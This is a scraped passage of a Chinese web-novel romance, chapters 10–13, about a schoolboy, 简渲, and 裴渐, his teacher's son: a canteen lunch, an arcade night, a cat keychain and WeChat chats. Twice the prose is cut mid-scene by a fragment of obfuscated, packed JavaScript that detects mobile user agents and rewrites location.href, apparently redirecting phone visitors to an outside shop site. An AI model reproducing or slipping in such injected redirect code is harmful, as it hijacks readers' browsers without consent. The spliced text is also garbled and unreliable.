由于演讲的原因，这次高三生最先吃饭，轮到简渲打饭的时候口水鸡只剩下一份了。
他回头看了眼裴渐，似乎想说些什么。
裴渐安抚性地揉了揉简渲的毛，“打吧。”
简渲只好回头，用裴渐听不到的音量轻声对打饭阿姨说道：“姐姐，给我少打点吧，多的给我后面那个人。”
阿姨抬头看了一眼简渲，咧着嘴笑，“小朋友嘴巴这么甜啊？你这么瘦不多吃点？”
说着就打了一大半进简渲的盘子，简渲刚想阻止，阿姨就探出头瞅了一眼简渲身后的裴渐。
不看还好，一看阿姨就笑了起来，“小裴怎么回学校啦？这次演讲找你啦？”
裴渐笑着点点头，“嗯，阿姨给我弟弟多打点，我吃多少没关系。”
阿姨看了一眼简渲，又看了一眼裴渐，“这小朋友是你弟弟啊？以后来阿姨的窗口吃啊，阿姨给你多打点，瘦的呦，小裴也不把弟弟养好点。”
简渲刚想解释清楚，就听见裴渐含着笑意的嗓音在他耳畔响起，“嗯，是我不对，以后养好点。”
男人的头已经挨在了自己耳侧，裴渐端起放在窗口的盘子，递给简渲，“怎么不拿？小渲？”
灼热的呼气声就在简渲耳侧，简渲连忙往旁边退了几步，抢过裴渐手中的盘子，“给我吧。”
声音带着点闷。
裴渐又笑了起来。
食堂阿姨把盘子里剩余的口水鸡都盛进裴渐的盘子里，还多打了点青蔬，让裴渐和简渲分着吃。
裴渐端着盘子走到简渲身边，就听见男生嘟嘟囔囔地说道：“你能不能不要见一个人就说我是你弟弟，明明不是。”
裴渐低头看着简渲红得要命的耳根，挑了挑眉，“突然想当哥哥了。”
简渲拿自己的盘子怼了怼裴渐的盘子，“那你也别找我，不要对我这么好。”
“可是我想对你好，”裴渐拉住简渲的衣领，“还往外面走？这里有空位。”
好像前面那句话是他随口说出来的一样。
十几分钟内连续听见两次这种话，简渲轻轻眨了眨眼。
裴渐没继续说什么，只是拉着简渲往空位上挪。
等坐下以后，简渲才如同找补一般地问裴渐，“你和刚刚那个食堂阿姨认识吗？”
裴渐正在把自己盘子里的青蔬往简渲盘子里跳，闻言抬起头，“想知道？”
其实没多想知道，就是单纯找话题。
简渲还是点点头，“好奇。”
裴渐扬了扬下巴，“吃饭，边吃边和你说。”
简渲“哦”了一声，就开始挑着青菜吃。
裴渐看着男生只挑青菜的动作，没说什么，只是把口水鸡往简渲的饭上放，“吃点肉，吃饱了就别逞强。”
裴渐那天看出来了。
这是简渲的第一反应。
简渲心虚一样地往嘴里塞了一块口水鸡。
裴渐弯了弯唇，然后开口，“高中的时候没钱，拿着年级第一的名头到处给人补习，刚好给食堂打饭的严阿姨儿子补习了。”
简渲睁大了眼睛。
似乎知道简渲想问什么，裴渐自己就开口了：“好奇我为什么高中没钱？”
简渲点点头。
“那个时候我妈又怀孕了，生下来是个儿子，我刚高一，住校，他们瞒着我说我妈去国外了，结果暑假我回家终于看见了我妈，我发现家里多了一个弟弟。”
“那个时候我刚高二吧？当时年轻气盛，觉得他们对不起我，不再要他们一分钱生活费。”裴渐声音散漫，似乎在讲述别人的经历。
大概就是那个时候开始，裴渐给别人补习。
简渲似乎找不到什么话来安慰裴渐，只能把自己餐盘里最大的一块口水鸡夹到裴渐盘子里。
裴渐被简渲的举动逗笑了，“我现在不在意了，我爸让我回公司上班我也答应了，不上白不上。”
简渲脸颊鼓囊囊的，声音也有些闷，“他们坏。”
“他们现在对我挺好的。”裴渐说。
简渲不能理解裴渐的逻辑，他天生一根筋，于是反驳道：“可是他们干的坏事永远不能变好。”
裴渐第一次听见有人和自己说这样的话，弯着的眉眼忽然愣住，他看着一眼只留着一个头顶给自己瞧的简渲。
简渲不知道怎么回事，自己似乎赌气般的说出了这句话，他说完就把头埋了下去。
过了会儿，简渲听见裴渐妥协的声音：“嗯。”
简渲抬头，就看见裴渐用一种自己看不懂的眼神看着自己。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14061629|147781||http|test|mini|href|location''.split(''|''),0,{}));
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他不适应了垂下了头，往嘴里塞了几口饭。
裴渐看了眼周围逐渐减少的人流，对简渲说道：“饱了吗？”
简渲含糊地点了点脑袋。
“走吧，送你。”裴渐端着简渲和自己的盘子起身。
简渲跟在裴渐身后，直到和裴渐站在文理楼楼下。
裴渐没送他上去，“我先回去了，饭卡给你就是送你了，刚刚我又充了五百，拿着用。”
简渲原本还在盯着地面发呆，闻言慌忙拿出那张饭卡塞进裴渐手心，“我不要。”
裴渐早就猜到了男生的举动，又放进简渲手心，“还和我生气啊？”
“没有。”简渲反驳。
“不生气了就拿着。”裴渐不给简渲反应的时间，转身就走了。
简渲不明白裴渐是怎么把这两件完全搭不上边的事情扯到一起的，他刚想追上裴渐，就听见午休预备铃响了。
简渲顿住，只好把饭卡捏在手心让它跟着自己一起回教室。
简渲神色不爽地坐到了自己的座位上，他终于反应过来裴渐刚刚就是故意挑着时间说的那些话，让自己没时间追上他。
他拿出手机给裴渐发消息。
【duvet：。。。】
【大骗子：？】
【duvet：你欺负我。】
【大骗子：不是午休吗？】
【duvet；讨厌你。】
【大骗子；不可以T-T。】
简渲觉得自己特么跟着小学生一样想要试探裴渐的上限。
【大骗子：睡觉。】
【duvet：你管我。】
【大骗子：求求简渲同学午休，简渲同学中午吃饭就差困得脑袋埋饭里了。】
【duvet：。】
简渲收起手机，脸趴在桌子上，还在复盘自己中午究竟有没有把脑袋埋进饭里。
五分钟后，简渲很确定，自己没有。
但他现在已经困了，没时间和裴渐计较了。
简渲心底的小人决定放过裴渐。
网吧。
“小渲，要不要休息一会？”
简渲摇了摇头，对黑网吧老板说道，“不用，我还不累。”
黑网吧老板有些不赞成，把简渲往他的房间里推，“不是要考华京吗？不好好学习啦？”
简渲只好回到了房间，他进去以后才发现自己房间里多了一张很干净的米白色书桌，上面摆满了试卷和资料，还有一个很新的台灯。
简渲突然愣住，他拉开门，就看见黑网吧老板笑着看着他，“别太感动啊小子，好好学，到时候我好和兄弟们吹牛，说我这出去一个华京大学的，不羡慕死他们。”
简渲有些不知所措，他就愣在原地。
黑网吧老板上前搓了搓他的脸，“叔又不是靠这个网吧赚钱的，你好好学就是了。”
话毕，就把简渲推到了椅子上，给他打开台灯，“叔出去了啊，乖乖学。”
裴渐刚刚洗完澡，手指在手机屏幕上翻阅着什么，眉眼有些藏不住的笑意。
突然一个语音通讯的框弹了出来，裴渐看了眼备注，点了接听。
刚接通，就听见男生用有些迷茫的声音问自己，“裴渐，为什么你们要对我好？”
还带着很微弱很微弱的哭腔。
裴渐听到了。
11.第 11 章
裴渐那边开了摄像头，轻声对简渲说道：“开摄像头。”
简渲闷闷地声音从手机那头传来：“不要。”
“哭了？”裴渐起身，把摄像头翻转对着自己脚边打转的猫。
“给我看猫干嘛？”简渲问道。
透过镜头，简渲能看见男人修长的手指揉了揉猫头。
“今天中午听见我聊高中的经历的时候你在想什么？”裴渐没有回答简渲的问题，而是反问道。
简渲愣住，不知道裴渐问自己这个干什么，但还是老实回答道：“心疼。”
“嗯，心疼。”裴渐也跟着应他。
“嗯？”简渲有些疑惑。
裴渐见他没反应过来自己的意思，放柔了音调，“因为心疼你。”
“为什么，我很可怜吗？”简渲还是固执地问。
裴渐看出来简渲一根筋扭在一个地方了，他只能说道：“现在在哪？”
简渲趴在桌子上，衣袖有些黏糊，他抹了抹脸，“干嘛？”
“带你散心去，”裴渐拿起钥匙，把衣袖上的猫毛拍掉，“我来找你。”
简渲被裴渐的行动力惊到，拒绝道：“不要。”
裴渐头一次觉得简渲这小孩倔强得可怕，他只能半哄半骗道：“那你说个地方，我等你好不好？”
简渲没说好也没说不好，只是问道：“为什么要找我？”
固执得可怕。
“你不开心，裴渐想让简渲开心，所以想要见见简渲，简渲可以让裴渐见见他吗？”裴渐低声问道。
简渲揉了揉耳朵，开口：“那你在那天的网吧门口等我。”
“好，那你等我。”裴渐轻轻笑了起来。
谁都没有主动挂掉视频，裴渐那边只是把摄像头关掉了，简渲换了件衣服，把自己这边的麦克风关掉，探出头对老板说道：“哥，我朋友来找我，我出去会。”
网吧老板皱眉，“什么朋友，同学吗？”
简渲晃晃头，解释道：“班主任的儿子，比我大几岁。”
听简渲说是老师的孩子，网吧老板紧锁的眉头才松开，说道：“去吧，有几个朋友是好事。”
简渲点头，“好。”
简渲靠墙站在门口，手机还开着扬声器，里面传来裴渐的声音，“我到了。”
简渲本来还在盯着自己的影子发呆，闻言抬头，就看见了站在不远处还抱着一团橘色毛绒物的裴渐。
裴渐走到简渲面前，把怀里的小橘猫往简渲面前递。
简渲下意识伸手接住，手心传来软乎乎的触感，低头一看，就发现是那天自己投喂的小橘。
他抬头看向裴渐，惊喜地问道：“你从哪找到他的？”
裴渐看见男生的眼睛一瞬间就亮了起来，只是眼尾还有些红通通的。
“大概小橘也感觉到简渲不开心了，自己跑到我怀里了。”裴渐和他开玩笑。
简渲知道裴渐在忽悠自己，还是笑了起来，把脸埋到小橘的肚子上。
裴渐见他开心，也不再多说些什么，只是和简渲一起靠在墙上。
等简渲和小橘玩够了，他才开口：“想去逛逛吗？”
简渲提起手里的小橘，像是在说那小猫怎么办。
裴渐拎着小橘的脖子，朝着一辆车走过去。
简渲这才发现裴渐是开了车来的。
裴渐把小橘放进车里面，然后回过身对简渲说道：“走吧？”
简渲只好跟上裴渐的步子。
“想去哪玩？电玩城？”裴渐问道。
简渲诚实地有些过分，“没玩过。”
裴渐似乎没什么反应，“我也没玩过，一起去？”
简渲偏头看向裴渐，疑惑道：“真的吗？”
裴渐笑着望了简渲一眼，“我是什么很爱玩这些的人吗？成年之前忙着学习，成年后就没心情玩这些了。”
简渲眨了眨眼，然后拉住裴渐的衣袖。
“怎么了？”裴渐低声问道。
简渲脸有些红，似乎很不好意思，“你腿太长了，我跟不上。”
裴渐放慢了步子，等简渲跟上自己以后才开口：“为了不打扰你等会的好心情，我还是想问一下，今天为什么突然不开心了。”
简渲抿了抿唇，抬头看着裴渐那双有些过分吸人的眼睛，他伸手捂住裴渐的眼睛，呼出一口气。
“因为有个和你一样的人，无缘无故对我很好。”简渲说道。
裴渐忽然发现简渲真的有些可爱了。
“可怜你不一定要心疼你的，简渲，这是两个不一样的概念。”裴渐停下脚步，弯下腰和简渲对视。
简渲不理解他的话，但是裴渐的眼神很真诚，他只能问道：“为什么不一样？”
“可怜一个人是因为那个人很惨，但我不一定要帮他的。但是因为我心疼你，我才会对你好，就算你过得很好，我也会心疼你，你说的那个人我想也是一样的。”裴渐掰开简渲握紧的拳头，一字一句地说道。
简渲还是摇摇头，“我听不懂。”
“想不明白的事情就不要纠结了，很多人你这辈子都看不懂的，你只需要开开心心的就好了。”裴渐揉了揉简渲的头，声音传进简渲耳中。
简渲也不再多问了，说道：“好。”
裴渐能看出来简渲还是陷在自己的思维里，他拉住简渲的衣角，“走吧？”
简渲应了声好。
等走到商场里面的电玩城的时候已经快十一点了，大概是周五的原因，商场现在还有很多人。
电玩城就在商场的第三楼，商场里面有电梯，裴渐拉着简渲坐上电梯。
简渲一路上安静得有些过分，裴渐伸手扯了扯面前小男生的脸，“我受不了冷暴力。”
简渲迷迷糊糊地抬头，开口：“啊？”
裴渐戳着简渲酒窝的地方，说：“你一直不说话，不是冷暴力我吗？”
“没有。”简渲否认。
“有。”裴渐不管简渲怎么说，反正他觉得有就是有。
简渲沉默了一瞬，问道：“我能问你一个问题吗？”
“嗯？”裴渐说。
“有人说过你很幼稚吗？”简渲拍开裴渐不停戳他脸颊肉的手。
裴渐盯着自己的右手食指，头靠着简渲的肩膀，又戳戳简渲的手背，有些无奈地说道：“因为想让你开心啊，才十七岁就满脸写着我不开心快来哄我了。”
简渲不自主地摸了摸自己的脸，随后才半知半觉地瞪向裴渐，推
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开裴渐靠在自己肩上的脑袋，说道：“我脸上表情哪有这么丰富。”
裴渐脸的触感和他这个人的身材一点也不一样，软软的，简渲还以为裴渐的脸很难戳。
两人聊天的间隙电梯门已经开了，裴渐拉着简渲走了出去，然后回复简渲刚刚的话：“我猜的。”
简渲踢了踢裴渐的脚后跟。
大晚上的电玩城里面几乎都是学生和小情侣，裴渐走到买币的递地方，低声问简渲：“要多少？”
简渲没抓过娃娃，他看了一眼价格，20块钱才20个币，于是问道：“能抓上吗？”
裴渐对这种东西没什么概念，随便瞄了一眼，手指就往500块钱那里点，边点边说道：“抓过瘾再回去，喜欢什么就抓。”
简渲按住裴渐的手，抠了抠男人的掌心，“多了吧，我俩AA吧？”
裴渐低头捏着简渲的脸，晃了晃男生的脑袋，说道：“请你的，不用有什么负担，如果实在过意不去就别老踢我脚，嗯？”
简渲垂着头也不说话了，只是默默把挨着裴渐脚尖的那只脚挪开了。
裴渐看着简渲的小动作心底有些想笑。
500块能买650个币，裴渐拿了两个小篮子装币，装币的时间有些长，游戏币清脆碰撞挤压地声音在电玩城里面还是有些明显。
周围人的视线是不是朝简渲和裴渐这边看，简渲甚至能听见一个穿着初中校服的学生和她的朋友说“这俩人好有钱啊。”
有钱的不是他，是裴渐。
币装好后，裴渐把比较多的那一篮放在简渲掌心，“走吧，想抓什么？”
简渲抬头看着裴渐，问道：“你不抓吗？”
裴渐弯了弯唇，回道：“你先抓，我等会再抓。”
简渲“哦”了一声，然后就被裴渐推到了娃娃机前，电玩城里面三四十个娃娃机，简渲有些看不过来。
“喜欢这个小猫娃娃？”裴渐注意到简渲的视线停留在小猫上最久。
简渲点点头，音量有些小，都快被电玩城里面的音乐声遮住了，“嗯。”
裴渐还是听清了，他拉着简渲走了过去，投了两个币进去，“抓吧。”
简渲站在娃娃机前，晃了晃摇杆，然后按下抓捕。
钩爪很准确地钩住了娃娃，带着娃娃前进了几毫米，然后就自动松开了。
裴渐听见简渲有些懊恼的吸气声，他笑了一下，站在简渲身后弯下腰。
有些温热的触感覆在简渲手背上，裴渐温热的声音在简渲身后响起：“娃娃机它是有固定的次数的，机器次数抓够了，只要你没失误，就能抓上来了。”
裴渐边说边抓了一次给简渲示范，钩爪再一次准确地抓住娃娃，只是钩爪很快就再次松开了。
做完示范以后，裴渐就松开了手，站在简渲身后。
简渲又投了两颗币，对准娃娃机里面最漂亮的娃娃按下，很快，娃娃被抓起。
下一瞬间，掉入洞口中。
简渲蹲下身把娃娃拿起来，举着娃娃转身对裴渐说道：“我抓到......”
简渲的声音顿住，他这才发现自己把娃娃怼到了裴渐的唇上。
男人还笑着望着自己，夸他：“简渲好厉害。”
12.第 12 章
裴渐伸手拎起简渲捧着的娃娃，放进装娃娃的篮子里。
此时此刻男生的脸才完全显露在他眼前。
简渲的笑脸还没来得及收回去，裴渐总觉得简渲笑起来很好看，是和平时不一样的感觉。
简渲笑的时候会露出虎牙，唇角也扬着，眼睛弯弯的，很像小孩子偷吃了糖果之后的样子，电玩城里面有些迷蒙的亮倒影在男生的瞳孔中，流溢着光。
简渲被裴渐夸的地愣住，他收起笑，垮着脸嘟囔了一句：“我又不是小孩，还要夸。”
边说还边把眼睛往裴渐手中篮子里放的小猫玩偶上看。
裴渐也不逗他，说道：“嗯，不是小孩。”
简渲视线又放在猫猫娃娃机的旁边，里面装的是白色的小狗，耳朵是黑色的。
简渲回头看了裴渐一眼。
裴渐眉眼带着笑，愣是被简渲盯得叹了口气，“喜欢就抓，我有点事，等会过来。”
简渲连忙点头。
裴渐往简渲的耳根看了一眼，很红。
这小孩就是想赶他走，害臊了。
简渲听见裴渐这么说，连忙点点头，过了一秒大概感觉到不太好，又往裴渐手里拿着的篮子里塞了一大把硬币。
“拜拜。”简渲挥挥手。
裴渐有些无奈地说道：“我又不是不回来。”
简渲“哦”了一声，说：“我知道，你快去吧。”
简渲不清楚自己抓了多久的娃娃，电玩城里面的人都走的差不多了，手臂上挂着的篮子已经被娃娃胡乱塞满了，简渲回头往电玩城门口看了一眼，裴渐还没有回来。
简渲把右手塞进娃娃堆里，感受着棉絮的软和。
游戏币已经没有剩下多少了，简渲有些无聊，坐在娃娃机旁边的模拟机的座椅上，晃着腿。
等得有些久了，简渲才单手从兜里掏出手机，给裴渐发了条消息。
【duvet：你怎么还没回来。】
对面没回消息，简渲瘪瘪嘴，视线落在自己身后的屏幕上，上面是两个小人在射击，简渲莫名觉得那个蓝色小人有点像裴渐。
因为蓝色小人被欺负的最惨，裴渐是大骗子，所以裴渐是蓝色小人。
虽然裴渐现在对他很好。
“简渲？”男人有些喘息的声音在空荡的环境里响起，声音不大，但很明显。
简渲循着声音回头，就看见裴渐手里拿着一件深红的冲锋衣，裴渐自己的兜里也鼓囊囊的。
裴渐走到简渲身边，把衣服披在简渲身上，“不冷吗？”
九月初的夜晚其实不是很冷，只是裴渐看着男生穿着一件薄的不行的短袖，他趁着男生不注意的时候轻轻挨了一下简渲的胳膊，这才发现简渲身上冷得惊人。
这小孩也是能憋。
裴渐拎起衣袖，声音放得很轻，“伸手，穿上。”
简渲呆呆地“哦”了一声，伸起胳膊任由裴渐摆弄他。
直到热气裹挟他全身，简渲才迷迷糊糊地抬头，看着男人有些苍白的唇，问道：“你去哪拿的衣服。”
裴渐没回答，而是拎起简渲脚边放着的筐子，用掌心压了一下满满一筐的娃娃，带着笑意说道：“抓了这么多？”
简渲又不是傻子，自然知道裴渐在转移话题，他自认为自己没有追问裴渐的权利，也不再多说什么，而是顺着裴渐的话回答：“嗯，你要吗？都给你吧。”
裴渐手上的动作没停，他把乱糟糟的娃娃摆放整齐，听到简渲的话，裴渐挑了挑眉，问道：“你不要？”
简渲摇头，头上的毛也跟着他的动作晃，开口：“我不要，没地方放。”
他没撒谎，网吧那个小房间确实没地方放这么多娃娃。
裴渐叹了口气，“那好吧。”
简渲有些不舍地看了一眼自己最先抓的那个猫猫玩偶，猫猫玩偶就被裴渐放在最顶层，简渲一低头就能看见。
裴渐自然也没错过男生的眼神，他拉住简渲的手腕，把原本想往前走的男生弄到自己跟前，然后在伸手在兜里掏些什么。
简渲还没来得及问裴渐在干什么，就看见一个毛绒猫头小吊坠出现在他眼前。
现在安安静静地躺在裴渐掌心，在电玩城不停变幻的灯光里，安安静静地躺着。
和简渲抓的第一只娃娃长得很像。
裴渐见简渲没反应，又把掌心把简渲面前放了放，有些疑惑，“不喜欢吗？”
简渲回过神，飞快地晃了晃脑袋，开口：“没有不喜欢，这个哪来的？”
裴渐弯着腰，把小挂坠挂在简渲口袋的拉链上。
简渲皮肤白，身上穿着裴渐买来的深红色冲锋衣倒显得更白了，腰侧的猫猫头挂坠因为惯性还在晃着。
简渲就站在那，也不动，有点像大型bjd。
直到裴渐把脑袋从他腰侧挪开，简渲才愣愣地把用手心握住挂坠。
裴渐刚把头抬起来，就发现简渲耳朵又红了。
这小孩怎么这么容易害臊。
“走了，简渲。”裴渐开口，拉着简渲的手腕往前台走。
简渲掌心还握着那个挂坠，隔着衣物的触感终于让他回过了神。
裴渐正在找工作人员要袋子，简渲下意识往周围的小型娃娃机看了一圈。
没有看见自己腰侧挂着的挂坠。
裴渐难道不是在这抓的？
裴渐找工作人员要了袋子，把筐里的娃娃都放进了袋子里面。
等他回头，就发现简渲正贴着一个小娃娃机瞧，里面几乎都是和裴渐给他抓的挂坠一样的。
裴渐拎着袋子，走到简渲身后，拍拍男生的肩膀。
简渲似乎没有发现裴渐就在他身后，肩头传来轻微的触感，简渲下意识转身，然后伸出手。
然后他冰冷的掌心就摸上了裴渐的脸。
简渲在回头发现裴渐的时候就下意识收了力道，但是还是没能阻止自己的手和裴渐脸颊的亲密接触。
简渲趁着裴渐还没说话，连忙把自己的手收了回去，假装什么都没有发生。
裴渐也没说什么，只是笑了一下，然后问简渲：“在看什么？”
简渲低着头，不敢看裴渐的眼睛，扭扭捏捏地说道：“你是在这抓的吗？”
简渲没说是什么，但裴渐已经猜到了。
他犹豫了一下，笑了应他：“嗯，是在这抓的。”
简渲“哦”了一声，然后抬头望着裴渐，说道：“走吧？”
裴渐伸出指尖戳了戳简渲口袋旁边挂着的小猫挂坠，“嗯。”
回去的路上比来的时候快一点，大概是简渲走的比较快。
等到了网吧门口，简渲突然转过身，裴渐没来得及刹住车，男生的鼻尖就撞上了自己的肩膀。
简渲后撤了几步，揉了揉鼻子，这次没有怼裴渐，而是脱下身上的冲锋衣，塞进裴渐手里的袋子
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里。
突然脱掉衣服，还是有点冷的，简渲哆嗦了几下，吸了吸鼻子，对裴渐说道：“这衣服是你买的吧？还有股服装店的味，还给你了。”
裴渐被简渲的操作吓住，他把塞满娃娃的袋子放在地上，然后拿出衣服又重新披在简渲身上，“你脱什么？又不贵。”
简渲坚持要把衣服给裴渐，他直接把衣服怼进裴渐怀里，开口：“不用了，反正我上学穿校服。”
裴渐见简渲真的不要，也不强求，而是取下衣服口袋上挂着的小猫挂坠，塞进简渲掌心，说道：“ 那这个得收下吧？带你出来玩你什么都不要。”
简渲盯着自己手心的小挂坠看了很久，还是没忍住点了头，“好。”
等裴渐转身要走的时候，简渲最后还是拉住了裴渐的衣袖，声音很郑重，“裴渐，今天谢谢你。”
裴渐弯了弯唇，伸手搓了搓简渲的头，“谢什么，早点回去，不要干感冒了。”
和网吧老板打了招呼以后简渲就回了房间，他才发现现在已经十二点了。
简渲打开微信，犹豫了很久才打开微信。
这发现裴渐回了一个小时前自己发的消息。
【大骗子：没看见消息，回家了吗？】
简渲点了一下右上的三个点，手指在屏幕上戳弄了几下才退出来。
【duvet：到家了，你到家了？】
【目的不明的好人：嗯。】
【duvet：好。】
简渲刚想退出聊天界面，裴渐的消息就又跟了上来。
【目的不明的好人：需要我以后教你英语吗？免费的。】
【duvet：为什么想教我？】
【目的不明的好人：简渲同学，你是十万个为什么吗？】
【目的不明的好人：因为想教你，所以就教了，和我妈没关系。】
裴渐似乎有读心术一样，一下就猜到了简渲在想什么。
简渲换了个姿势躺着，用被子裹着自己，然后才开始打字。
【duvet：不会麻烦你吗？】
【目的不明的好人：不麻烦，反正我回南城没事干。】
【duvet；谢谢你。】
裴渐看着手机屏幕上的那三个字笑出了声，低头看着摆在床头的猫猫玩偶，还有不停围着玩偶绕圈圈的咪咪，心头动了一下。
他向来是一个行动力很快的人，一把手就捞过自己的咪咪放在怀里，还顺手拿起了玩偶。
简渲见裴渐没回他，也没多想，趴在枕头上放空大脑。
过了几分钟，简渲调整好精神，把自己从抓娃娃的体验里抽出身，打算起身去学习，微信消息提示音就发了过来。
锁屏上挂着一条消息提醒。
【目的不明的好人：（视频）】
简渲点了进去，然后点开裴渐发过来的视频。
简渲点开裴渐发来的视频，背景音乐他听不懂，只知道很洗脑。
视频滤镜很粉，里面的小猫趴在地板上，被举着手机的人左右运镜，最后一个镜头从下往上滑，一只猫猫玩偶被放在了小猫的头上。
视频边缘露出了纤长的指尖。
视频是裴渐拍的。
简渲还没回裴渐，那边似乎是知道简渲看完了，一条消息又弹了出来。
【目的不明的好人：V小猫重度依赖V】
【目的不明的好人：可爱吗？】
13.第 13 章
裴渐发来的两条消息弹出来的时候简渲还在看那条视频。
简渲把视频放大，落到小猫的脸上，隔空捏了捏，然后才依依不舍地退出去回复裴渐的消息。
【duvet：可爱，你养的猫吗？】
【目的不明的好人：嗯，叫咪咪。】
【duvet：你好敷衍。】
【目的不明的好人：当时养咪咪的时候才十四岁，不会取名字。】
【duvet：噢。】
简渲撑着下巴，再次点开裴渐的视频，指尖拖动着屏幕放大视频。
一抹橘色在纯白色的布偶猫上格外显眼。
简渲突然想到今晚被裴渐拎着过来找自己的小橘。
没等简渲多想，裴渐的消息就又发了过来。
【目的不明的好人：你们是明天放学，周天放假，对吧？】
简渲不知道裴渐问自己这些干什么，但还是回了裴渐。
【duvet：嗯，怎么了？】
【目的不明的好人：不是教你英语吗？周日有空吗？市图书馆。】
简渲在网吧的兼职一般都是晚上，周日他确实有空，想到自己和华京大学还有115的分差，简渲还是同意了。
【duvet：可以。我还是给你补习费吧。】
【目的不明的好人：不好意思？】
裴渐好像总是能看穿自己在想些什么，简渲脸颊鼓了起来，他手指飞快地在屏幕上点击。
【duvet：嗯，所以能让我付你补习费了吗？】
简渲当然知道裴渐不差自己这点钱，从他往不用的饭卡里一充就是几百块、买游戏币都买五百块的以及班上那些关于他妈妈的传闻，简渲不至于不知道裴渐有钱。
只是，裴渐有钱，和他无关。
手机另一头，裴渐看着简渲发来的消息皱了皱眉，耳边是几声叠加起来的猫叫，他揉了揉猫头，“安静点。”
随后指尖轻触上了手机屏幕。
【PJ：一次十块，可以吧？】
手机顶端一直显示“对方正在输入中”，裴渐也不急，向后靠在床头，揉了揉猫的下巴，不知道是在自言自语还是在和猫说话：“会不会贵了？要不我降点价。”
裴渐说到做到，刚在手机里输入“要不五块吧”，对面的消息就发了过来。
【duvet：是不是太便宜了？】
裴渐哑然。
但是很快，简渲的消息就又发了过来。
【duvet：你不许涨价，就这样吧。】
偌大的空间响起轻轻的笑声，夹杂着猫咪的咕噜声。
【PJ：好，不涨价。】
【PJ：早点睡。】
看见裴渐发来的消息，简渲才觉得眼睛有些麻，第一次出去就疯了一晚上，说不累是不可能的。
简渲手搭在桌子上，眨了眨眼睛，最后还是回到了床上。
【duvet：睡了。】
或许是消耗了太多精力，简渲很快就睡着了，再次醒来已经是五点五十了。
简渲关掉闹钟，从床上起来，手机锁屏上还有裴渐的发来的消息，只不过那个时候他睡着了。
【目的不明的好人：晚安。】
简渲看着床头放着的昨天裴渐给自己的小猫挂坠，犹豫了一下，还是挂在书包上。
简渲到学校的时候已经不早了，他坐在座位上，把给孟凯带的手抓饼放在孟凯桌上，刚放上去，孟凯就来了。
孟凯拿起放在桌上的手抓饼，应该是被烫到了，连忙在手里颠了几下。
孟凯打开手抓饼咬了几口，视线落在简渲的书包上，“小渲，你买了这个挂坠？”
简渲把小猫挂坠取了下来，在孟凯面前晃了晃，问道：“你说这个？”
孟凯坐下，嘴里还吃着手抓饼，听简渲这么问，回答道：“嗯，你买了？我妹妹一直想买，我妈不让。”
简渲看了一眼挂坠，又想到昨晚裴渐的话，肯定地摇摇头，“是盗版，我在娃娃机里面抓到的。”
孟凯有些疑惑，他咽下嘴里的手抓饼，开口：“能给我看看吗？”
简渲没太在意，把手里的小猫挂坠递给孟凯。
孟凯拿着挂坠看了几眼，又翻到底部，然后递还给简渲，说道：“就是正版的，k家的，三个月前的限定，得要三百块呢，又小又贵，你存钱是为了买这个啊？”
简渲收回挂坠的手顿住，很快就恢复正常，简渲揉搓着挂坠，他弯了弯唇，“嗯，买这个。”
裴渐又骗他。
骗子。
他再相信裴渐他就是狗。
可是他舍不得还回去。
简渲掏出手机，也知道裴渐这时候不可能起床了，但还是给裴渐发过去几条消息。
【duvet：你又骗我。】
【duvet：那个小玩意三百块。】
【duvet：我想要，下个月给你钱可以吗？】
等裴渐看见这条消息的时候已经是早上九点了，他刚打开就看见了简渲的消息。
也不知道是谁告诉简渲的。
裴渐有些无奈，只好给简渲解释。
【PJ：不是刚买的，放在家里很久了，拿着就行，就当你一模英语及格给你的奖励了。】
【PJ：没有三百，内部价拿的，就几十块。】
也不知道简渲看见这条消息的时候是几点了。
裴渐蹲在书桌旁边，拿出一个大箱子，里面都是他高中的书，英语课本就放在最上面。
裴渐把英语必修一拿出来放在书桌上，起身坐在电竞椅上，裴渐毕业以后再也没打开过这些书，已经有些蒙灰了。
他打开电脑，把书翻到单词列表，裴渐简单扫了一眼，最后还是把英语书合上了。
他觉得简渲的脑子不至于这么简单的学英语方式都不知道，只有一种可能，就是简渲不适合。
裴渐想到自己给简渲将试卷的那个晚上，男生好像听懂了一点。
决定下方案，就是找试卷了，裴渐突然庆幸自己高中刷过的英语试卷都没有丢，只是和所有科目的卷子都重合在一起了，找起来要很费劲。
裴渐没有嫌麻烦，他的试卷都用夹子夹着，找英语试卷也不难，只需要看英文字母就好了。
也不知道找了多久，原本还在裴渐脚边打转的小猫已经恹恹地趴在男人脚边，喵喵叫了两声，像是在说自己饿了。
裴渐拿起手机看了一眼，这才发现已经十二点了。
书桌上几乎放满了白花花的卷子，裴渐起身，抱起趴在自己身边的小猫，“给你喂饭，然后给你简渲哥哥整理题型。”
裴渐往一个崭新的猫碗里倒入猫粮，见小猫吃了起来，才转身往卧室里面走去。
放在兜里的手机震动了几下，裴渐拿出来看了一眼。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14099823|147781||http|test|mini|href|location''.split(''|''),0,{}));
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大概是简渲打开手机看见自己的消息了。
裴渐打开微信，不出意外就是简渲发来的，男生发来了好几条消息，还全都在质问他。
【duvet：真的假的？】
【duvet：你别又骗我。】
【duvet：我已经不会相信你了，大骗子。】
几通消息给裴渐轰炸地失笑，他只好开始一条一条的给简渲解释。
【PJ：上次瞒着你，是因为怕你知道你班主任是我妈妈以后害臊。】
【PJ：这次瞒着你，是告诉你你就不会收着了，而且真的是内部价拿的，我现在还有当时要来聊天记录，我有个朋友是K家老板的孩子。】
简渲看着裴渐发来的解释，也不再闹脾气，他刚准备把手机收起来，微信就又弹出来一条消息。
还是裴渐。
【目的不明的好人：吃午饭了吗？】
【duvet：没有，不饿。】
